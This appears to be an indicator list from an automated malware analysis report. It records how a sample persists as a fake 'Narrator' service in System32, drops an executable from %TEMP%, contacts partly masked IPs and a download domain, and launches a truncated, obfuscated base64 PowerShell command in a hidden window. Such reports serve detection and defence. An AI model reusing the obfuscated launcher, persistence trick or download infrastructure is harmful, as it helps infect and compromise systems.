Technical Information
- [<HKLM>\System\CurrentControlSet\Services\Narrator] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\Narrator] 'ImagePath' = '"<SYSTEM32>\FwRemoteSvr\Narrator.exe"'
- 'Narrator' "<SYSTEM32>\FwRemoteSvr\Narrator.exe"
- 'Narrator' <SYSTEM32>\FwRemoteSvr\Narrator.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\drar13o2q.exe
- <SYSTEM32>\fwremotesvr\narrator.exe
- from %TEMP%\word\2019\drar13o2q.exe to <SYSTEM32>\fwremotesvr\narrator.exe
- '10#.#.122.110':80
- '19#.#01.86.6':443
- '45.##.219.163':443
- http://bu####uzmekursu.com/assets/6m3/
- http://45.##.219.163:443/8qWc/ via 45.##.219.163
- DNS ASK bu####uzmekursu.com
- '%TEMP%\word\2019\drar13o2q.exe'
- '<SYSTEM32>\fwremotesvr\narrator.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AF...' (with hidden window)